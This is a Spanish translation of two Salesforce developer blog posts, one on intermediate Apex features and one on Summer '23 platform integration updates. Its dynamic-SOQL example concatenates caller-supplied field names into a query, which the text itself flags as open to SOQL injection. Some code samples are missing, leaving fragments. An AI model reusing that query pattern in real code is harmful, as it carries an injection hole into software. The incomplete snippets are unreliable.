Aquí hay una ilustración básica del uso de la anotación @InvocableMethod :

<dx-code-block title language="java" code-block="public class AccountQueryAction {   @InvocableMethod(label='Get Account Names' description='Returns the list of account names corresponding to the specified account IDs.' category='Account')   public static List getAccountNames(List ids) {     List accountNames = new List();     List accounts = [SELECT Name FROM Account WHERE Id in :ids];     for (Account account : accounts) {       accountNames.add(account.Name);     }     return accountNames;   } }»>

Este ejemplo de la Guía para desarrolladores de Apex ilustra cómo la anotación marca esto como un método que Flow puede invocar. Tenga en cuenta que la anotación también define detalles como una etiqueta y una descripción que determinan lo que se muestra al usuario de Flow Builder.

Un efecto secundario importante de las anotaciones de @Invocable… del que pocas personas hablan es que esto muestra automáticamente su Apex al punto final de la API <INSTANCEURL>/data/<VERSION>/actions/custom/apex .

Otra cosa útil que puede hacer al invocar Apex desde su flujo es acceder a los diferentes tipos de Apex asíncrono. Lo que trae a colación la siguiente característica de Apex que se debe abordar.

La ejecución asíncrona desacopla una acción que queremos realizar del contexto de ejecución actual. Siguiendo las mejores prácticas actuales, existen tres formas de ejecutar Apex de forma asincrónica: en cola, programable y por lotes. Aunque técnicamente el bus de eventos es asíncrono, lo omitiremos por el momento.

Si solo necesita activar un poco de código para ejecutarlo de forma asincrónica, la opción en cola es la herramienta de referencia. Si tiene varias tareas asincrónicas, queueable las ejecuta de manera determinista en orden. Debido a que están en cola en orden, también puede encadenar una llamada asíncrona de otra. Y Apex en cola admite entradas de objetos o tipos primitivos.

Apex programado funciona tal como lo esperaría: ejecute algún código de Apex en un horario. Batch Apex está optimizado para trabajar con conjuntos de datos muy grandes. Para utilizar Apex asíncrono, debe crear una clase de Apex que implemente una interfaz específica: Queueable , Schedulable o Batchable , respectivamente.

Nota: algunos desarrolladores pueden estar familiarizados con la anotación @Future para hacer que un solo método sea asincrónico, también conocido como "métodos futuros". Los métodos futuros, aunque rápidos y fáciles, tienen limitaciones que los hacen menos útiles. No hay nada que pueda hacer con un método futuro que no se pueda hacer mejor con una clase en cola. Por este motivo, no recomendamos implementaciones de producción con métodos futuros.

Por lo tanto, echemos un vistazo a un ejemplo de una clase de Apex que se puede poner en cola.

<dx-code-block title language="Java" code-block="public with sharing class QueueableRecipes implements Queueable { public static void execute(QueueableContext qc) { List accounts = [ SELECT Id, Description FROM Account LIMIT 1000 ]; for (Account acct : accounts) { acct.Description += ‘ Edited by Queueable class’; } try { update accounts; } catch (DmlException dmle) { System.debug( LoggingLevel.INFO, ‘real life use cases should do more than just logging the error: ‘ + dmle.getMessage() ); } }
} «>

Todas las interfaces asíncronas de Apex tienen un método execute() que debe implementarse como se muestra arriba. Para ejecutar su clase Queueable , debe ponerla en cola.

Si bien no se muestra en este ejemplo de la aplicación de muestra Recetas de Apex, para pasar datos a su cola, anule el constructor con los parámetros que necesita.

El término "Apex dinámico" es un poco inapropiado. O, al menos, podría malinterpretarse como que Apex de alguna manera funciona como un lenguaje de programación dinámico. Esto no es a lo que se refiere (por ejemplo, no hay Apex
función eval !).

Dynamic Apex es un código que se adapta a diferentes tipos de SObject ( Account , Contact , My_Custom_Object__c , etc.) en tiempo de ejecución. Esto se hace abstrayendo referencias específicas de SObject. La clave es usar la superclase SObject cuando se trabaja con datos. También utilizará las funciones de "descripción" de Apex para detectar con qué objetos y campos está trabajando y qué puede hacer con ellos (por ejemplo, si este usuario puede consultar este objeto).

Esta es una habilidad esencial para los desarrolladores de ISV. A menudo, creará una aplicación que debe adaptarse al entorno local del cliente que instala su aplicación. Esto significa que su código necesita detectar, describir y adaptar su comportamiento dependiendo de datos conocidos o incluso desconocidos.

Aunque es esencial para un desarrollador de ISV, también es importante para cualquier persona que quiera escribir código más reutilizable.

Tome este ejemplo de consulta muy básico:

<dx-code-block title language="Java" code-block="List accts = [SELECT Id, Name, Website FROM Account];»>

Esto funcionará todo el día consultando los datos de la cuenta. Pero, ¿y si queremos construir una consulta para cualquier SObject?

Para convertir esto en un Apex "dinámico", necesitamos abstraer las referencias de campo y SObject específicas. Y tal vez lo incluiríamos en un método que permitiera a otro desarrollador pasarlos. También podríamos verificar para asegurarnos de que el usuario tenga los permisos de objeto para realizar la operación que estamos a punto de intentar.

<dx-code-block title language="Java" code-block="public static List executeDynamicQuery(Schema.DescribeSObjectResult obj, List fields){ // Create a result-set list List resultRecords; if (obj.isQueryable()){ // Set up a query string String queryTemplate = ‘SELECT {0} FROM {1}’; List queryDetails = new List{String.join(fields, ‘, ‘), obj.getName()}; String queryString = String.format(queryTemplate, queryDetails); // Run your query resultRecords = Database.query(queryString); } return resultRecords; } «>

Lo anterior construye una consulta para un SObject que se pasa al método y una lista arbitraria de campos. Utiliza el objeto DescribeSObjectResult para detectar la capacidad de consulta e inferir el nombre de la API de SObject al construir y ejecutar la consulta. A continuación, debe invocarlo.

Así es como podríamos hacer eso con los objetos Cuenta y Contacto, respectivamente:

<dx-code-block title language="Java" code-block="List accountRecords = DynamicApexClass.dynamicQuery(Account.SObjectType.getDescribe(), new List{‘Id’,’Name’,’Website’}); List contactRecords = DynamicApexClass.dynamicQuery(Contact.SObjectType.getDescribe(), new List{‘Id’,’FirstName’,’LastName’}); «>

Este ejemplo no aborda algunos riesgos de SOQL dinámico, como la inyección de SOQL. Por lo tanto, asegúrese de leer sobre Apex dinámico. Aprender a escribir Apex seguro hará que sea menos probable que implemente código vulnerable en su organización (o la de un cliente). El enlace de variables en sus consultas SOQL es una herramienta clave para proteger su Apex dinámico de ser explotado. El método escapeSingleQuotes() es otra herramienta más antigua que también puede encontrar. El modo de usuario también es clave para garantizar que cualquier acción realizada tenga que cumplir con todas y cada una de las restricciones del usuario que la ejecuta.

Para obtener un ejemplo más completo y seguro de Apex dinámico, consulte la receta de Apex del método invocable en la aplicación de ejemplo Recetas de Apex. Esa acción invocable funciona con el objeto Cuenta o Tarea.

Con Salesforce, hay algunas formas de realizar la integración sin código. Específicamente, si solo necesita una aplicación o servicio de cliente para obtener datos de Salesforce, hay muchas API que se muestran automáticamente sin ningún tipo de codificación en el lado de Salesforce. Incluso se ajustan a su esquema personalizado. Si está integrando su organización a un sistema externo compatible con OData, puede usar Salesforce Connect y objetos externos (nuevamente, no se requiere código).

Pero a veces, es posible que deba llamar desde su organización a un servicio externo. O tal vez desee mostrar un punto final personalizado que agrupe más complejidad que una de las API estándar. Nuevamente, Apex contiene funciones que admiten tanto la aparición de nuevas API personalizadas como la llamada a servicios web.

Al pensar en API personalizadas, en estos días, la mayoría de los desarrolladores pensarían en API REST. Puede crear una API REST personalizada en Salesforce Platform creando una clase de Apex que se anota con la anotación @RestResource . Parte del trabajo de la anotación es definir también el nombre del recurso. Todas las API REST personalizadas basadas en Apex se encuentran en <INSTANCEURL>/services/apexrest/ .

Para definir los comportamientos que necesita admitir, hay una serie de anotaciones de métodos que corresponden a verbos HTTP, como @HttpGet y @HttpPost . La clase RestContext contiene un conjunto de elementos de acceso para obtener el estado de la solicitud HTTP entrante y la respuesta saliente que devuelve. A continuación, se muestra un ejemplo de un extremo REST básico que aparece en el método HTTP GET. Tenga en cuenta cómo se utilizan las anotaciones.

<dx-code-block title language="Java" code-block="@RestResource(urlmapping='/integration-service/*')
global inherited sharing class CustomRestEndpointRecipes( … @HttpGet global static String getRecordsToReturn() { RestResponse response = RestContext.response; try { List accounts = [ SELECT Id, Name, Phone, Website FROM Account WITH USER_MODE ]; response.statusCode = 200; String serializedAccounts = JSON.serialize(accounts); return serializedAccounts; } catch (QueryException qe) { System.debug( LoggingLevel.INFO, ‘Failed to query a list of Accounts. Error is: ‘ + qe.getMessage() ); response.statusCode = 400; return qe.getMessage(); } }
} «>

Si su requisito es crear un servicio SOAP, también hay un conjunto de características para admitir ese protocolo.

Fuera del código real, necesitará una sesión autorizada para acceder a cualquier servicio web que cree. Pero si ya tiene un cliente autorizado, la solicitud es solo otra llamada al punto final personalizado que defina.

La llamada a un punto final REST externo se realiza a través de un conjunto de clases. La clase HttpRequest le permite definir los parámetros de cómo se comportará su solicitud (punto final, verbo HTTP, encabezados, etc.). La solicitud se realiza a través del método estático Http.request() . Esto devuelve un objeto HttpResponse que le proporciona los datos devueltos o el error si la solicitud falla.

Nota: Las clases HttpRequest y HttpResponse son las mismas para las llamadas REST y los servicios REST personalizados.

Se requiere cierta configuración para su texto destacado. Específicamente, deberá configurar una credencial con nombre en la mayoría de los casos. Esta configuración le permite descargar el protocolo de enlace de autenticación de su código. Aunque, si está llamando a un servicio anónimo no autenticado, también puede optar por usar una configuración de sitio remoto más simple.

= 200 && response.getStatusCode()

El ejemplo anterior hace una llamada simple a un punto final. Tenga en cuenta que no se utilizan las opciones para establecer encabezados ni usar una credencial con nombre, ya que esta solicitud es para una API simple que no requiere autenticación.

La transmisión de eventos es una herramienta valiosa para crear arquitecturas débilmente acopladas en aplicaciones complejas. La plataforma de Salesforce implementa la transmisión de eventos a través de dos características principales: eventos de plataforma y captura de datos modificados. La columna vertebral de estas funciones es el bus de eventos.

De la Guía para desarrolladores de eventos de plataforma, el bus de eventos es "Un servicio de entrega y almacenamiento de eventos de múltiples inquilinos y múltiples nubes basado en un modelo de publicación-suscripción". Tanto su organización como los sistemas externos pueden publicar y suscribirse a eventos. Por supuesto, es clave que si publicas un mensaje, algo debe haberse suscrito para que suceda cualquier otra cosa.

Los eventos de plataforma representan los datos que pasan a través del bus de eventos. Los eventos se procesan en el orden en que se reciben. Una forma de pensar en ellos es como un SObject efímero que se almacena temporalmente en el bus de eventos en su camino hacia su destino. De hecho, los metadatos de un evento se almacenan en el mismo lugar de su proyecto que sus SObjects. Puede distinguir los eventos de plataforma personalizados de los SObjects por su sufijo __e (por ejemplo Order_Complete__e ).

Una vez que completa un evento con sus datos, el método EventBus.publish() es similar a una llamada DML en su SObject normal. Tenga en cuenta el código a continuación que publica un evento.

En Apex, se suscribe a un evento creando un disparador asíncrono para él. Pero los disparadores asíncronos son diferentes de la operación DML transaccional estándar de un disparador normal. Por esta razón, debe tener en cuenta algunas diferencias. Con disparadores asíncronos, el tamaño del lote es diferente. Necesitas configurar tu usuario de ejecución. Las operaciones de activación de eventos también se pueden volver a intentar. Asegúrese de conocer estas diferencias a medida que comience a implementar activadores de eventos de plataforma. Tenga en cuenta el disparador a continuación.

A diferencia de los disparadores DML típicos, los disparadores de eventos de plataforma solo admiten el contexto after insert . Tampoco existe una acción explícita para suscribir un disparador a un evento de plataforma. Una vez que el activador se implementa en su organización, se suscribe automáticamente.

Además de Apex, los eventos de la plataforma pueden activarse y suscribirse mediante sistemas externos y Flow. Son clave en las integraciones débilmente acopladas. Como tal, es raro que Apex active y se suscriba al mismo evento.

Hemos cubierto mucho. Pero de ninguna manera esto es todo lo que necesita saber como desarrollador de Apex. Los elementos cubiertos se basan en algunas características bastante comunes. Pero es posible que deba aprender otras funciones de Apex según los requisitos de su proyecto. Aquí hay algunos otros elementos que debe tener en cuenta.

Caché de plataforma : si proviene de otras plataformas de programación, estará familiarizado con la noción de una variable estática o global persistente en todas las transacciones. Pero en Apex, las estáticas se limitan a la transacción. La memoria caché de la plataforma es una característica de Apex que permite la persistencia de datos en memoria entre transacciones. Si encuentra un retraso en el rendimiento relacionado con la recuperación de datos, la memoria caché de la plataforma puede ayudar.

Marcos de activación : no es una característica del lenguaje, sino bibliotecas que facilitan el uso de activadores. Estos proyectos creados por la comunidad abstraen el código de activación repetitivo que a menudo necesita escribir. Al usar un marco de activación, debería permitirle concentrarse solo en la lógica que debe abordarse. Para algo más que un disparador trivial, se recomienda encarecidamente adoptar un marco. Y conozco a algunos que argumentarían que debería considerar un marco incluso para ese disparador trivial. Pero este no es el lugar para debatir el tiempo de valor frente a la optimización prematura. Hay una implementación muy simple de esto en la aplicación Apex Recipes .

SOSL : el lenguaje de búsqueda de objetos de Salesforce ( SOSL ) es el primo subestimado de SOQL. SOSL permite consultas basadas en texto no deterministas. Es muy eficiente para encontrar datos de texto en comparación con la búsqueda de campos de texto con SOQL y comodines. Admite la búsqueda de varios SObjects simultáneamente y contiene funciones para filtrar de forma determinista los resultados de la búsqueda. Si tiene consultas SOQL de texto que son lentas, definitivamente consulte esta herramienta.

AuraEnabled : para mostrar el código Apex personalizado en sus componentes web Lightning (LWC), esta anotación es clave. Es muy probable que ya esté usando este si comenzó su viaje de Salesforce creando LWC. Pero si aún no lo ha usado, búsquelo en cualquier proyecto que involucre una interfaz de usuario personalizada. ¿Por qué "Aura" habilitado si es para LWC? Bueno, esta anotación se creó inicialmente para admitir el predecesor de LWC, el marco Aura. Tenía sentido no reinventar una nueva anotación cuando la existente funcionaría igual de bien para LWC.

Cada viaje para aprender un nuevo lenguaje de programación tiene algunas características clave que todos deben conocer. La sintaxis básica, el control de flujo y el modelo de ejecución de la plataforma son fundamentales para comprender. Pero una vez que tenga esos conceptos básicos, trabajar en funciones más avanzadas es clave para aumentar su conjunto de habilidades. Las acciones invocables, el Apex asíncrono, el Apex "dinámico", la integración y el bus de eventos son funciones que probablemente utilizará a medida que avanza. Al familiarizarse con estos ahora, no solo se preparará para abordar proyectos en el futuro, sino que también podrá tomar mejores decisiones de solución.

Si cree que está listo para aprender, los senderos para desarrolladores intermedios y avanzados en Trailhead pueden ayudarlo a encaminarse con todos estos temas y más.

Aplicación de muestra Apex Recipes en Github

Guía para desarrolladores de Apex

Guía de referencia de idiomas de Apex

Centro de desarrolladores de Apex

Peter Chittum ha trabajado en software empresarial y habilitación para desarrolladores durante más de 20 años. Pasó los últimos 12 años ayudando a miles de desarrolladores a tener éxito en la plataforma de Salesforce, y más recientemente lideró el equipo de promotores de desarrolladores en Salesforce. Pasa su tiempo libre con su familia, anda en bicicleta de montaña, cocina y toca música. Sígalo en Twitter (@pchittum), LinkedIn (en/PeterChittum) o BlueSky Social (@pchittum.bsky.social).

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Actualizaciones de integración de plataforma para desarrolladores | Aprende Moar Verano '23 ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Actualizaciones de integración de plataforma para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

¡Únase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizarán y demostrarán las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisión, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesión de desarrolladores. ¿No puedes unirte a nosotros en vivo? La grabación se publicará unas horas después de que finalice la transmisión.

Introducción

El verano finalmente está aquí, y para nosotros los desarrolladores, ¡eso significa un nuevo y emocionante lanzamiento! Exploremos las próximas características que trae la versión Summer '23 para los desarrolladores centrados en la integración de plataformas.

Consultas SOQL anidadas en API

A partir de la API de la plataforma de Salesforce v58.0, SOQL ahora admite consultas de relación que atraviesan hasta cinco niveles de registros primarios y secundarios . Anteriormente, solo se admitía un nivel. Esta característica está disponible para objetos estándar y personalizados, y está limitada a consultas realizadas a través de llamadas de consulta REST y SOAP.

Probémoslo probando una relación padre-hijo de cuatro niveles usando la API REST con la siguiente consulta:

La llamada API ahora devuelve los registros anidados solicitados en la siguiente jerarquía: Cuenta (Nivel 1) → Contacto (Nivel 2) → Caso (Nivel 3) → Comentarios del caso (Nivel 4).

Credenciales con nombre en Connect API

Otra característica útil introducida en esta versión es la capacidad de administrar credenciales con nombre tanto desde la API REST de Connect como desde la API de Connect . Ya no necesita interrumpir su configuración para crear credenciales a través de la interfaz de usuario; ahora, se puede hacer programáticamente,

Por ejemplo, puede recuperar la lista de todas las credenciales con nombre existentes realizando la siguiente llamada a la API:

GET /services/data/v58/named-credentials/named-credential-setup

Alternativamente, puede usar Apex con lo siguiente:

También puede crear credenciales con nombre mediante programación con la API y Apex. Este es un ejemplo de cómo hacerlo con Apex:

Consulte nuestra colección Postman para desarrolladores de Salesforce que presenta las nuevas API de Named Credentials y consulte la documentación de la clase NamedCredentials Apex para obtener más información.

Consultas API de GraphQL con funciones agregadas

Nuestra API GraphQL sigue mejorando y, con esta versión, estamos agregando soporte para registros de consulta que usan funciones agregadas con o sin agrupación .

Podrá contar la cantidad de registros que coinciden con ciertos criterios, calcular el ingreso promedio en todas las cuentas o ver la cantidad total de todas las oportunidades.

Se admiten las siguientes funciones agregadas:

  • avg : devuelve el valor promedio de un campo numérico
  • count : devuelve el número de resultados que coinciden con los criterios de consulta
  • countDistinct : devuelve el número de valores de campo distintos y no nulos que coinciden con los criterios de consulta
  • grouping : especifica si se utiliza un campo al componer el grupo; usar con el argumento de consulta groupBy y el tipo ROLLUP o CUBE
  • max – Devuelve el valor máximo de un campo
  • min – Devuelve el valor mínimo de un campo
  • sum : devuelve la suma total de un campo numérico

Echemos un vistazo a una consulta de ejemplo. La siguiente consulta calcula el ingreso anual promedio de todas las cuentas, agrupadas por industria. Tenga en cuenta que estamos usando el campo aggregate en uiapi en lugar de query , lo que nos permite aprovechar las funciones agregadas.

A continuación, una consulta de GraphQL utilizando la función de agregado promedio y la función de agrupación.

También puede realizar consultas tradicionales dentro de la misma solicitud:

Si desea probarlo, puede usar el cliente Altair GraphQL o nuestra colección Postman de desarrolladores de Salesforce .

Adaptador GraphQL de Salesforce Connect

En febrero de 2023, anunciamos la versión piloto de nuestro adaptador GraphQL de Salesforce Connect y ahora nos complace anunciar que estará disponible de forma general en esta versión de verano de 2023.

El nuevo adaptador de Salesforce Connect para GraphQL actúa como un cliente para integrar datos de fuentes externas que exponen sus capacidades a través de GraphQL. Lo hace de una manera de copia cero al hacer llamadas en vivo a los puntos finales de la API cuando una acción del usuario o del sistema requiere registros específicos. Solo los datos necesarios para esa acción en particular se consultan a través de GraphQL y Salesforce Connect no almacena ni almacena en caché los registros devueltos por el servidor. Además, este adaptador incluye extensiones especiales para AWS AppSync y brinda acceso sin inconvenientes a Amazon RDS.

Para aprovechar este nuevo adaptador, simplemente cree una nueva fuente de datos externa y seleccione el tipo GraphQL .

Apex publica devoluciones de llamada en eventos de la plataforma

Con el lanzamiento de Summer '23, ahora puede realizar un seguimiento de la publicación de eventos de la plataforma utilizando Apex Publish Callbacks . Con esta nueva versión, puede obtener el resultado final de una llamada EventBus.publish a través de una devolución de llamada de publicación de Apex que implemente. Esto le da la opción de realizar un seguimiento de los errores o los éxitos para recibir el resultado final de la publicación. En función de ese resultado, puede decidir qué acción tomar, como intentar volver a publicar eventos fallidos, por ejemplo.

Para realizar un seguimiento de un evento fallido publicado, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishFailureCallback . Si la operación asincrónica falla, se invocará el método onFailure . El parámetro result contiene los valores del campo EventUuid para cada evento fallido, pero no incluye los datos del evento en sí.

Para realizar un seguimiento de las publicaciones de eventos exitosas, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishSuccessCallback . Debido a que la mayoría de las llamadas de publicación suelen tener éxito, el procesamiento de publicaciones de eventos exitosas probablemente no sea una preocupación. Observe siempre los límites de rendimiento y del gobernador de Apex cuando procese este tipo de resultado.

Como práctica recomendada, siempre cree eventos usando sObjectType.newSObject , ya que esto incluye un EventUuid que puede usar para rastrear el evento. Al crear eventos con este enfoque, recomendamos no publicar el mismo evento más de una vez para evitar duplicaciones EventUuid .

Métricas mejoradas para eventos de plataforma

Con esta actualización, ahora puede obtener métricas de uso de eventos mejoradas para eventos de plataforma consultando el objeto PlatformEventUsageMetric . Esto le permite agregar datos de uso por nombre de evento y determinar qué evento consume más de sus asignaciones. Además, puede agrupar el uso por cliente para descubrir cuántos clientes se suscribieron a un evento en particular y cómo se distribuye el uso de entrega de eventos entre los clientes. Además, utilice agregaciones granulares de tiempo de períodos diarios, por hora y de 15 minutos para segmentar los datos de uso para obtener información más detallada.

Cuando consulta PlatformEventUsageMetric , puede usar estos nuevos campos: EventName , Client , EventType y UsageType .

La siguiente consulta de ejemplo devuelve el uso de eventos por hora para eventos entregados entre el 1 y el 2 de abril en horario UTC. También agrega los resultados en intervalos de una hora según lo especificado por el campo TimeSegment . Dado que los campos EventName y Client se especifican en la consulta, los resultados se agruparán por evento y cliente.

= 2023-04-01T00:00:00.000Z AND EndDate

Un resultado de muestra de la consulta anterior sería similar al siguiente, incluirá datos de uso para todos los eventos, Order_Event__e y AccountChangeEvent .

Para obtener más información sobre esta función, consulte la documentación .

Acción HTTP en flujo: GET es GA, POST es Beta

HTTP Callout ahora está generalmente disponible para solicitudes GET , lo que le permite traer datos externos a Flow Builder sin ningún código. Usted crea una acción de Llamada HTTP desde dentro de Flow, que puede llamar a cualquier API de servicio basado en la web. Después de agregar los detalles de la API, Flow Builder genera una acción de llamada reutilizable que puede usar para diferentes flujos y en todo Salesforce.

Para ponerlo en uso, desde el elemento Acciones, seleccione Crear llamada HTTP .

Junto con GA, hemos incluido algunos cambios desde la última versión que agilizan el proceso de configuración.

Ahora puede editar una acción de llamada HTTP de forma declarativa. Las API cambian regularmente, por ejemplo, cuando se agrega un nuevo campo obligatorio a un sistema externo. Anteriormente, para editar la acción de llamada HTTP reutilizable, modificó la especificación de API generada automáticamente, lo que requería conocimientos de JSON. Ahora, puede editar la acción con clics en el menú de configuración de Servicios externos.

También se simplificó la configuración de la estructura de datos de la respuesta de la API. Proporciona una respuesta de API de muestra y Flow infiere los tipos de datos y analiza el JSON para que los datos se puedan utilizar en los flujos. Anteriormente, si necesitaba cambiar los tipos de datos inferidos, editaba el propio JSON. Ahora, selecciona los tipos de datos del campo con clics. Ahora también se admiten los tipos de datos de fecha, fecha/hora y booleano.

Como bonificación adicional, obtiene mensajes de error más intuitivos al crear su acción de llamada HTTP para ayudar a resolver el error y evitar problemas en el tiempo de ejecución.

Y si no puede OBTENER suficiente con HTTP Callout, ahora puede usar el método POST (Beta) para enviar datos de Salesforce a un servidor externo en Flow Builder. Por ejemplo, una nueva cuenta en Salesforce activa un flujo que crea una factura en un sistema externo. Seleccione POST (Beta) , ingrese un cuerpo de solicitud JSON de muestra que la API espera al configurar la llamada HTTP, y Flow infiere la estructura de datos externos.

Aprende MOAR

Guau, ¡son bastantes nuevas características de integración de plataforma para probar! Confío en que facilitarán la vida de muchos desarrolladores. ¡Pero hay más por descubrir! Lo invito a explorar nuestras otras publicaciones de blog para conocer las últimas actualizaciones de LWC, Mobile, MuleSoft y Tableau.

Nuestros gerentes de producto y defensores de desarrolladores están de vuelta para compartir las últimas características y funcionalidades que llegarán en Summer '23. Para ayudarlo a desarrollarse más rápido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas funciones favoritas. ¡Asegúrese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo último en el blog de desarrolladores de Salesforce para conocer más innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

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Sobre el Autor

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo en Twitter @julian_duque , @julianduque.co en Bluesky o LinkedIn .

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